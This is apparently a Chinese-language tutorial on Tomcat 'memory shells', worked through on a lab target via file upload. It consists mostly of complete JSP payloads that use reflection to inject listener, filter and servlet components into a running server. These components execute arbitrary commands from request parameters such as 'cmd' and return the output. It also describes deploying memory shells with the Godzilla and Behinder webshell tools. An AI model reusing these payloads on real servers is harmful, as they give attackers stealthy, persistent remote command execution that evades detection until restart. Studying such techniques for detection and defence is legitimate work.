web权限维持 介绍 webshell内存马是把木马和后门写在内存中 然后去执行 达到webshell
可以加强攻击的隐蔽性和排查难度
java内存马 相关文章 
前置 java在进行web服务时 有三大件开启
启动的顺序为listener->Filter->servlet
Servlet 是运行在 Web 服务器或应用服务器上的程序,作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层,负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
 
Filter,过滤器,是对Servlet技术的一个强补充,其主要功能是
在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest ,根据需要检查HttpServletRequest,也可以修改HttpServletRequest 头和数据 
在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据 
 
 
JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件
可以使用监听器监听客户端的请求、服务端的操作等 
可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等 
 
 
 
所以
Java的内存马可以在这三个方向做文章
环境 找了个可以用java内存马打的靶场
tomcat的
这里模拟的是一个文件上传的功能点
我们可以通过内存马打入目标服务器
添加tomcat配置
应用
jdk配的是8u65
内存马 监听器内存马 监听器是请求服务的第一个位置 这意味着我们只要请求就会触发
<%@ page import ="org.apache.catalina.core.ApplicationContext"  %> <%@ page import ="org.apache.catalina.core.StandardContext"  %> <%     Object  obj  =  request.getServletContext();     java.lang.reflect.Field  field  =  obj.getClass().getDeclaredField("context" );     field.setAccessible(true );     ApplicationContext  applicationContext  =  (ApplicationContext) field.get(obj);          field = applicationContext.getClass().getDeclaredField("context" );     field.setAccessible(true );     StandardContext  standardContext  =  (StandardContext) field.get(applicationContext);          ListenerDemo  listenerdemo  =  new  ListenerDemo ();          standardContext.addApplicationEventListener(listenerdemo); %> <%!     public  class  ListenerDemo  implements  ServletRequestListener  {         public  void  requestDestroyed (ServletRequestEvent sre)  {             System.out.println("requestDestroyed" );         }         public  void  requestInitialized (ServletRequestEvent sre)  {             System.out.println("requestInitialized" );             try {                 String  cmd  =  sre.getServletRequest().getParameter("cmd" );                 Runtime.getRuntime().exec(cmd);             }catch  (Exception e ){                              }         }     } %> 
 
通过反射机制在Tomcat服务器中绕过正常的安全限制,来动态地向一个Web应用程序添加事件监听器,并在这个监听器中执行任意系统命令。
获取ServletContext并反射获取ApplicationContext和StandardContext
通过request.getServletContext()获取当前Web应用的ServletContext对象。 
使用反射机制访问ServletContext对象中的context字段(这里假设context字段存在,实际上ServletContext类并没有直接暴露这样的字段,这里可能是为了示例而假设的)。 
将context字段的值(假设为ApplicationContext类型)转换为ApplicationContext,并再次使用反射访问其context字段,这次将其值转换为StandardContext。 
 
 
创建并执行任意命令的监听器
在JSP页面中定义了一个名为ListenerDemo的内部类,它实现了ServletRequestListener接口。这个接口允许监听器在Servlet请求被初始化和销毁时接收通知。 
在requestInitialized方法中,监听器尝试从HTTP请求中获取名为cmd的参数,并使用Runtime.getRuntime().exec(cmd)执行这个命令。这允许任何能够向这个Web应用发送HTTP请求的用户执行服务器上的任意命令。 
 
 
向Web应用添加监听器
使用standardContext.addApplicationEventListener(listenerdemo);将ListenerDemo实例作为事件监听器添加到Web应用中。这意味着每当有新的请求进入时,ListenerDemo的requestInitialized方法都会被调用,尝试执行请求中指定的命令。 
 
 
 
同理
另一个内存马
<%@ page contentType="text/html;charset=UTF-8"  language="java"  %> <%@ page import ="org.apache.catalina.core.ApplicationContext"  %> <%@ page import ="org.apache.catalina.core.StandardContext"  %> <%@ page import ="javax.servlet.*"  %> <%@ page import ="javax.servlet.annotation.WebServlet"  %> <%@ page import ="javax.servlet.http.HttpServlet"  %> <%@ page import ="javax.servlet.http.HttpServletRequest"  %> <%@ page import ="javax.servlet.http.HttpServletResponse"  %> <%@ page import ="java.io.IOException"  %> <%@ page import ="java.lang.reflect.Field"  %> <!-- 1 、exec this --> <!-- 2 、request any url with a parameter of "shell"  --> <% class  S  implements  ServletRequestListener {    @Override      public  void  requestDestroyed (ServletRequestEvent servletRequestEvent)  {              }     @Override      public  void  requestInitialized (ServletRequestEvent servletRequestEvent)  {         if (request.getParameter("shell" ) != null ){             try  {                 Runtime.getRuntime().exec(request.getParameter("shell" ));             } catch  (IOException e) {}         }     } } %> <% ServletContext  servletContext  =   request.getSession().getServletContext();Field  appctx  =  servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext  applicationContext  =  (ApplicationContext) appctx.get(servletContext);Field  stdctx  =  applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext  standardContext  =  (StandardContext) stdctx.get(applicationContext);out.println("inject success" ); S  servletRequestListener  =  new  S ();standardContext.addApplicationEventListener(servletRequestListener); %> <!-- 1 、exec this --> <!-- 2 、request any url with a parameter of "shell"  --> 
 
提交内存马
成功
访问这个木马 并尝试调用计算器
没有调用出来
这是因为在把木马写入监听器里
再次访问
调用成功
并且此时我们随便找一个路径执行cmd都行
过滤器内存马 <%@ page language="java"  contentType="text/html; charset=UTF-8"      pageEncoding="UTF-8" %> <%@ page import ="java.io.IOException" %> <%@ page import ="javax.servlet.DispatcherType" %> <%@ page import ="javax.servlet.Filter" %> <%@ page import ="javax.servlet.FilterChain" %> <%@ page import ="javax.servlet.FilterConfig" %> <%@ page import ="javax.servlet.FilterRegistration" %> <%@ page import ="javax.servlet.ServletContext" %> <%@ page import ="javax.servlet.ServletException" %> <%@ page import ="javax.servlet.ServletRequest" %> <%@ page import ="javax.servlet.ServletResponse" %> <%@ page import ="javax.servlet.annotation.WebServlet" %> <%@ page import ="javax.servlet.http.HttpServlet" %> <%@ page import ="javax.servlet.http.HttpServletRequest" %> <%@ page import ="javax.servlet.http.HttpServletResponse" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.*" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page import ="java.lang.reflect.*" %> <%@ page import ="java.util.EnumSet" %> <%@ page import ="java.util.Map" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd" > <html> <head> <meta http-equiv="Content-Type"  content="text/html; charset=UTF-8" > <title>Insert title here</title> </head> <body> <% final  String  name  =  "n1ntyfilter" ;ServletContext  ctx  =  request.getSession().getServletContext();Field  f  =  ctx.getClass().getDeclaredField("context" );f.setAccessible(true ); ApplicationContext  appCtx  =  (ApplicationContext)f.get(ctx);f = appCtx.getClass().getDeclaredField("context" ); f.setAccessible(true ); StandardContext  standardCtx  =  (StandardContext)f.get(appCtx);f = standardCtx.getClass().getDeclaredField("filterConfigs" ); f.setAccessible(true ); Map  filterConfigs  =  (Map)f.get(standardCtx);if  (filterConfigs.get(name) == null ) {   out.println("inject " + name);        Filter  filter  =  new  Filter () {       @Override        public  void  init (FilterConfig arg0)  throws  ServletException {                 }              @Override        public  void  doFilter (ServletRequest arg0, ServletResponse arg1, FilterChain arg2)              throws  IOException, ServletException {                    HttpServletRequest  req  =  (HttpServletRequest)arg0;          if  (req.getParameter("cmd" ) != null ) {             byte [] data = new  byte [1024 ];             Process  p  =  new  ProcessBuilder ("cmd.exe" ,"/c" , req.getParameter("cmd" )).start();             int  len  =  p.getInputStream().read(data);             p.destroy();             arg1.getWriter().write(new  String (data, 0 , len));             return ;          }           arg2.doFilter(arg0, arg1);       }              @Override        public  void  destroy ()  {                 }    };        FilterDef  filterDef  =  new  FilterDef ();     filterDef.setFilterName(name);     filterDef.setFilterClass(filter.getClass().getName());     filterDef.setFilter(filter);          standardCtx.addFilterDef(filterDef);        FilterMap  m  =  new  FilterMap ();    m.setFilterName(filterDef.getFilterName());    m.setDispatcher(DispatcherType.REQUEST.name());    m.addURLPattern("/*" );            standardCtx.addFilterMapBefore(m);            Constructor  constructor  =  ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);    constructor.setAccessible(true );    FilterConfig  filterConfig  =  (FilterConfig)constructor.newInstance(standardCtx, filterDef);             filterConfigs.put(name, filterConfig);          out.println("injected" ); } %> </body> </html> 
 
创建恶意filter 
用filterDef对filter进行封装 
将filterDef添加到filterDefs跟filterConfigs中 
创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去 
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启 
 
访问这个jsp,注入成功后,用?cmd=即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3)
同理 访问这个内存马 并执行命令 让他把木马写道过滤器中
再次访问
命令执行成功
同样不管路径 因为访问web一定会经过这三大件
其他内存马
<%@ page contentType="text/html;charset=UTF-8"  language="java"  %> <%@ page  import  =  "org.apache.catalina.Context"  %> <%@ page  import  =  "org.apache.catalina.core.ApplicationContext"  %> <%@ page  import  =  "org.apache.catalina.core.ApplicationFilterConfig"  %> <%@ page  import  =  "org.apache.catalina.core.StandardContext"  %> <!-- tomcat 8 /9  --> <!-- page  import  =  "org.apache.tomcat.util.descriptor.web.FilterMap"  page  import  =  "org.apache.tomcat.util.descriptor.web.FilterDef"  --><!-- tomcat 7  --> <%@ page  import  =  "org.apache.catalina.deploy.FilterMap"  %> <%@ page  import  =  "org.apache.catalina.deploy.FilterDef"  %> <%@ page  import  =  "javax.servlet.*"  %> <%@ page  import  =  "javax.servlet.annotation.WebServlet"  %> <%@ page  import  =  "javax.servlet.http.HttpServlet"  %> <%@ page  import  =  "javax.servlet.http.HttpServletRequest"  %> <%@ page  import  =  "javax.servlet.http.HttpServletResponse"  %> <%@ page  import  =  "java.io.IOException"  %> <%@ page  import  =  "java.lang.reflect.Constructor"  %> <%@ page  import  =  "java.lang.reflect.Field"  %> <%@ page  import  =  "java.lang.reflect.InvocationTargetException"  %> <%@ page  import  =  "java.util.Map"  %> <!-- 1  revise the import  class  with  correct tomcat version --> <!-- 2  request this  jsp file --> <!-- 3  request xxxx/this  file/../abcd?cmdc=calc --> <% class  DefaultFilter  implements  Filter  {    @Override      public  void  init (FilterConfig filterConfig)  throws  ServletException {     }     public  void  doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)  throws  IOException, ServletException {         HttpServletRequest  req  =  (HttpServletRequest) servletRequest;         HttpServletResponse  response  =  (HttpServletResponse) servletResponse;         if  (req.getParameter("cmdc" ) != null ) {             Runtime.getRuntime().exec(req.getParameter("cmdc" ));             response.getWriter().println("exec done" );         }         filterChain.doFilter(servletRequest, servletResponse);     }     public  void  destroy ()  {}                  } %> <% String  name  =  "DefaultFilter" ;ServletContext  servletContext  =   request.getSession().getServletContext();Field  appctx  =  servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext  applicationContext  =  (ApplicationContext) appctx.get(servletContext); Field  stdctx  =  applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext  standardContext  =  (StandardContext) stdctx.get(applicationContext); Field  Configs  =  standardContext.getClass().getDeclaredField("filterConfigs" );Configs.setAccessible(true ); Map  filterConfigs  =  (Map) Configs.get(standardContext);if  (filterConfigs.get(name) == null ){    DefaultFilter  filter  =  new  DefaultFilter ();     FilterDef  filterDef  =  new  FilterDef ();     filterDef.setFilterName(name);     filterDef.setFilterClass(filter.getClass().getName());     filterDef.setFilter(filter);     standardContext.addFilterDef(filterDef);     FilterMap  filterMap  =  new  FilterMap ();          filterMap.addURLPattern("/abcd" );     filterMap.setFilterName(name);     filterMap.setDispatcher(DispatcherType.REQUEST.name());     standardContext.addFilterMapBefore(filterMap);     Constructor  constructor  =  ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);     constructor.setAccessible(true );     ApplicationFilterConfig  filterConfig  =  (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);     filterConfigs.put(name, filterConfig);     out.write("Inject success!" ); } else {    out.write("Injected" ); } %> 
 
伺服器内存马 和前面同理
创建一个恶意的servlet 
获取当前的StandardContext 
将恶意servlet封装成wrapper添加到StandardContext的children当中 
添加ServletMapping将访问的URL和wrapper进行绑定 
 
<%@ page import ="java.io.IOException"  %> <%@ page import ="java.io.InputStream"  %> <%@ page import ="java.util.Scanner"  %> <%@ page import ="org.apache.catalina.core.StandardContext"  %> <%@ page import ="java.io.PrintWriter"  %> <%          Servlet  servlet  =  new  Servlet () {         @Override          public  void  init (ServletConfig servletConfig)  throws  ServletException {         }         @Override          public  ServletConfig getServletConfig ()  {             return  null ;         }         @Override          public  void  service (ServletRequest servletRequest, ServletResponse servletResponse)  throws  ServletException, IOException {             String  cmd  =  servletRequest.getParameter("cmd" );             boolean  isLinux  =  true ;             String  osTyp  =  System.getProperty("os.name" );             if  (osTyp != null  && osTyp.toLowerCase().contains("win" )) {                 isLinux = false ;             }             String[] cmds = isLinux ? new  String []{"sh" , "-c" , cmd} : new  String []{"cmd.exe" , "/c" , cmd};             InputStream  in  =  Runtime.getRuntime().exec(cmds).getInputStream();             Scanner  s  =  new  Scanner (in).useDelimiter("\\a" );             String  output  =  s.hasNext() ? s.next() : "" ;             PrintWriter  out  =  servletResponse.getWriter();             out.println(output);             out.flush();             out.close();         }         @Override          public  String getServletInfo ()  {             return  null ;         }         @Override          public  void  destroy ()  {         }     };     %> <%          org.apache.catalina.loader.WebappClassLoaderBase  webappClassLoaderBase  = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();     StandardContext  standardCtx  =  (StandardContext)webappClassLoaderBase.getResources().getContext();          org.apache.catalina.Wrapper  newWrapper  =  standardCtx.createWrapper();     newWrapper.setName("jweny" );     newWrapper.setLoadOnStartup(1 );     newWrapper.setServlet(servlet);     newWrapper.setServletClass(servlet.getClass().getName());          standardCtx.addChild(newWrapper);          standardCtx.addServletMapping("/shell" ,"jweny" ); %> 
 
访问当前应用的/shell路径,加上cmd参数就可以命令执行
其他伺服器内存马
<%@ page contentType="text/html;charset=UTF-8"  language="java"  %> <%@ page  import  =  "org.apache.catalina.core.ApplicationContext" %> <%@ page  import  =  "org.apache.catalina.core.StandardContext" %> <%@ page  import  =  "javax.servlet.*" %> <%@ page  import  =  "javax.servlet.annotation.WebServlet" %> <%@ page  import  =  "javax.servlet.http.HttpServlet" %> <%@ page  import  =  "javax.servlet.http.HttpServletRequest" %> <%@ page  import  =  "javax.servlet.http.HttpServletResponse" %> <%@ page  import  =  "java.io.IOException" %> <%@ page  import  =  "java.lang.reflect.Field" %> <!-- 1  request this  file --> <!-- 2  request thisfile/../evilpage?cmd=calc --> <% class  EvilServlet  implements  Servlet {    @Override      public  void  init (ServletConfig config)  throws  ServletException {}     @Override      public  String getServletInfo ()  {return  null ;}     @Override      public  void  destroy ()  {}    public  ServletConfig getServletConfig ()  {return  null ;}          @Override      public  void  service (ServletRequest req, ServletResponse res)  throws  ServletException, IOException {         HttpServletRequest  request1  =  (HttpServletRequest) req;         HttpServletResponse  response1  =  (HttpServletResponse) res;         if  (request1.getParameter("cmd" ) != null ){             Runtime.getRuntime().exec(request1.getParameter("cmd" ));         }         else {             response1.sendError(HttpServletResponse.SC_NOT_FOUND);         }     } } %> <% ServletContext  servletContext  =   request.getSession().getServletContext();Field  appctx  =  servletContext.getClass().getDeclaredField("context" );appctx.setAccessible(true ); ApplicationContext  applicationContext  =  (ApplicationContext) appctx.get(servletContext); Field  stdctx  =  applicationContext.getClass().getDeclaredField("context" );stdctx.setAccessible(true ); StandardContext  standardContext  =  (StandardContext) stdctx.get(applicationContext); EvilServlet  evilServlet  =  new  EvilServlet ();org.apache.catalina.Wrapper  evilWrapper  =  standardContext.createWrapper(); evilWrapper.setName("evilPage" ); evilWrapper.setLoadOnStartup(1 ); evilWrapper.setServlet(evilServlet); evilWrapper.setServletClass(evilServlet.getClass().getName()); standardContext.addChild(evilWrapper); standardContext.addServletMapping("/evilpage" , "evilPage" ); out.println("动态注入servlet成功" ); %> 
 
哥斯拉内存马 哥斯拉先生成一个java的木马
上传shell.jsp
哥斯拉连接
进入
上面有一个memoryshell 这就是我们的内存马
我们run一下这个内存马
他的内存马是在/favicon.ico下的
新建监听器连接
成功
是在根目录下
冰蝎内存马 之前一直没用过
冰蝎的木马是存放在他的文件夹中的
默认连接密码rebeyond
上传木马
冰蝎连接
打开
呃 连接失败了
好像是这个靶场权限的问题
我们把这个木马放到根目录下来
根目录下连接成功
在外面可以打内存马
失败
网上找了发现是工具本身的问题
不能用这个路径
这个路径
添加时也不能用这个路径
要到网站根目录下的/aaa去
攻击成功
网站根目录下是没有/aaa路径的